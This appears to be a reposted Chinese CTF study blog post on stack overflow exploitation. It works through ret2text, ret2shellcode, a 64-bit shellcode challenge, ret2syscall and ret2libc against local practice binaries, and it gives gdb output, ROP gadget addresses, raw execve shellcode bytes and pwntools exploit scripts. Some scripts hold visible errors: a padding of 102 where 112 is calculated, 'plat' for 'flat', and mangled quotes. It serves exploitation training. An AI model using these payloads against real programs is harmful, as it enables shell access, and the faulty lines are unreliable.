栈溢出练习
Posted mayfly-nymph
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了栈溢出练习相关的知识,希望对你有一定的参考价值。
具体原理参考:ctf-wiki
测试文件:点击下载
栈溢出
原理
栈溢出的基本前提是
- 程序必须向栈上写入数据。
- 写入的数据大小没有被良好地控制。
例题
源码:
#include <stdio.h> #include <string.h> void success() { puts("You hack me."); } void vulnerable() { char s[12]; gets(s); puts(s); return; } int main(int argc, char **argv) { vulnerable(); return 0; }
命令:
gcc -m32 -fno-stack-protector -no-pie test.c -o test1
-m32:编译为32位文件
-fno-stack-protector:关闭堆栈溢出保护
-no-pie:关闭地址随机化
环境
如果提示:/usr/include/stdio.h:27:10: fatal error: bits/libc-header-start.h: 没有那个文件或目录
下载支撑文件:sudo apt-get install gcc-multilib g+±multilib module-assistant
分析
检测文件:
需要了解在32位程序中,调用函数的过程:
函数返回地址入栈->EBP入栈->局部变量入栈(esp为局部变量申请的一段栈空间)
我们需要将局部变量空间溢出,占用EBP空间,修改返回地址为success函数地址
s为[ebp-14h],距离栈顶0x14字节
success_addr = 0x08049172
因此修改的payload=距离EBP大小+EBP大小+success地址
exp
from pwn import * p = process(‘./test1‘) success_addr=0x08049172 payload = ‘a‘*0x14 +‘bbbb‘+p32(success_addr) print p32(success_addr) p.sendline(payload) p.interactive()
常见存在栈溢出函数:
- 输入
- gets,直接读取一行,忽略’x00’
- scanf
- vscanf
- 输出
- sprintf
- 字符串
- strcpy,字符串复制,遇到’x00’停止
- strcat,字符串拼接,遇到’x00’停止
- bcopy
ROP
介绍
ROP 攻击一般得满足如下条件
- 程序存在溢出,并且可以控制返回地址。
- 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
ret2text
ret2text 即控制程序执行程序本身已有的的代码 (.text)。这时,我们需要知道对应返回的代码的位置。
1.准备
保护机制
2.IDA查看源码
在主函数中调用了gets,因此我们可以利用s的地址,ebp-add(s)+size(ebp)计算出填充大小。
在secure函数发现执行了系统命令"/bin/sh",因此我们能够通过修改主函数返回地址为调用"/bin/sh"指令地址0x0804863a,来获取系统shell(权限)
3.计算填充大小
因为s的值是通过esp来索引,因此我们首先需要获取esp的值,在gets函数处下断点。
esp=0xffffcf80
addr(s)=esp+0x1C
ebp=0xffffd008
因此填充字符串payload = ‘a’*(ebp-(esp+0x1C)+4)+p32(0x0804863a)
0xffffd008 - 0xffffcf80 - 0x1C + 4 = 112
4.exp
from pwn import * p = process(‘./ret2text‘) addr = 0x0804863a payload = ‘a‘*102+p32(addr) p.sendline(payload) p.interactive()
ret2shellcode
ret2shellcode,即控制程序执行 shellcode 代码。
1.检测
32位文件,可以对栈中数据读写,执行代码。
2.代码分析
IDA打开:
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets(&s); strncpy(buf2, &s, 0x64u); printf("bye bye ~"); return 0; }
有gets函数,可以利用栈溢出,这里将获得的字符串复制到了buf2中。查看buf2
bbs段即存储未初始化的静态变量和全局变量(记录变量所需空间大小)
介绍:bbs段的理解
查看这个段是否有执行shellcode命令的权限
rwxp是可读写的(r-xp可读)
因此我们能够利用gets溢出s修改函数返回地址到buf2
计算填充大小:在gets下断点后,运行
eax 0x20 0x20 ecx 0xf7fad010 0xf7fad010 edx 0x20 0x20 ebx 0x0 0x0 esp 0xffffcf70 0xffffcf70 ebp 0xffffcff8 0xffffcff8 esi 0xf7fab000 0xf7fab000 edi 0xf7fab000 0xf7fab000 eip 0x804858c 0x804858c <main+95> eflags 0x246 [ PF ZF IF ] cs 0x23 0x23 ss 0x2b 0x2b ds 0x2b 0x2b es 0x2b 0x2b fs 0x0 0x0 gs 0x63 0x63
0xffffcff8 - 0xffffcf70 - 0x1C + 4 = 112
3.exp
from pwn import * p = process(‘./ret2shellcode‘) shellcode = asm(shellcraft.sh()) addr_buf2 = 0x0804A080 p.sendline(shellcode.ljust(112,‘a‘)+p32(addr_buf2)) p.interactive()
sniperoj-pwn100-shellcode-x86-64
1.准备
获取信息:
- 64位文件
- 只开启了地址随机化
2.代码分析
int __cdecl main(int argc, const char **argv, const char **envp) { __int64 buf; // [rsp+0h] [rbp-10h] __int64 v5; // [rsp+8h] [rbp-8h] buf = 0LL; v5 = 0LL; setvbuf(_bss_start, 0LL, 1, 0LL); puts("Welcome to Sniperoj!"); printf("Do your kown what is it : [%p] ? ", &buf, 0LL, 0LL); puts("Now give me your answer : "); read(0, &buf, 0x40uLL); return 0; }
因此我们能够使用read来进行栈溢出,因为代码中已经动态的输出了buf的地址,因此随机化地址就没有作用了。
在buf处下断点,确定距离返回地址的距离
因为buf为[esp+0h],因此到EIP的字节数为EBP - ESP + size(EBP) = 0x7fffffffde20 - 0x7fffffffde10 + 8 = 24
之前使用的shellcraft.sh()生成的shellcode有44字节,在这里只有24字节,因此并不适用,需要我们到 https://www.exploit-db.com/shellcodes 或者 http://shell-storm.org/shellcode/ 查询构造相应的shellcode,例如查到
因为leave指令会释放栈空间,因此我们不能使用buf后面的24字节。
3.exp
# -*- coding:utf-8 -*-
from pwn import * shellcode="x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05"# 23字节的shellcode p = process(‘./sniperoj-pwn100-shellcode-x86-64‘) p.recvuntil(‘[‘) buf_addr = p.recvuntil(‘]‘,drop=True)# 获取buf的地址 print int(buf_addr,16) fillw_addr = int(buf_addr,16) + 24 + 8# 指向shellcode的地址 p.sendline(24*‘a‘+p64(fillw_addr)+shellcode) p.interactive()
ret2syscall
ret2syscall,即控制程序执行系统调用,获取 shell。常用是执行execve("/bin/sh",NULL,NULL)
1.检测
获取到信息:
- 32位文件
- 开启了NX
这道题我们就不能执行shellcode了。使用IDA查看源码。
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("This time, no system() and NO SHELLCODE!!!"); puts("What do you plan to do?"); gets(&v4); return 0; }
2.分析
很明显,我们能够利用gets进行栈溢出,利用gdb计算出需要填充的字节数为:0xffffd028 - 0xffffcfa0 - 0x1c + 4 = 112
其次,我们需要程序去调用execve("/bin/sh",NULL,NULL),即使得
- eax=系统调用号
- ebx="/bin/sh"的地址
- ecx=0
- edx=0
再执行int 0x80中断就能运行对应系统调用。
系统调用号:https://www.cnblogs.com/Mayfly-nymph/p/12243003.html
execve的系统调用号为:11
接着,我们需要找到对应的gadgets来将对应参数放入寄存器中,因为参数是在栈中,因此我们需要pop指令来给寄存器赋(先将pop指令存入栈中,再将对应参数压入栈中,这样pop指令将会把高地址参数存入寄存器中)。
pop eax
使用 0x080bb196 : pop eax ; ret
pop ebx;pop ecx;pop edx
选择 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
"/bin/sh"
0x080be408 : /bin/sh
int 0x80
0x08049421 : int 0x80
3.exp
from pwn import * p = process(‘./rop‘) eax_ret = 0x080bb196 edx_ecx_ebx_ret = 0x0806eb90 bin_sh = 0x080be408 int_0x80 = 0x08049421 payload = flat([‘a‘*112,eax_ret,0xb,edx_ecx_ebx_ret,0,0,bin_sh,int_0x80]) p.sendline(payload) p.interactive()
pop 指令将会把高地址参数存入指定寄存器。ret指令执行下一条指令。
ret2libc
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh")
ret2libc1
1.检查
获取信息:
- 32位文件
- 开启NX
IDA查看源码
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC >_<"); gets(&s); return 0; }
2.分析
依旧利用gets进行栈溢出,和上道相似,修改EIP为system("/bin/sh")的地址
首先利用gdb计算填充字节大小:0xffffd008-0xffffcf80-0x1c+4
接着,查找system("/bin/sh")的地址
在IDA找到程序的system函数地址
.got.plt:0804A018 off_804A018 dd offset system ; DATA XREF: _system↑r
3.exp
from pwn import * p = process(‘ et2libc1‘) bin_sh = 0x8048720 sys_addr = 0x804a018 payload = plat([‘a‘*112,sys_addr,‘b‘*4,bin_sh]) p.sendline(payload) p.interactive()
正常调用system函数有返回值,将‘b‘*4作为返回值
以上是关于栈溢出练习的主要内容,如果未能解决你的问题,请参考以下文章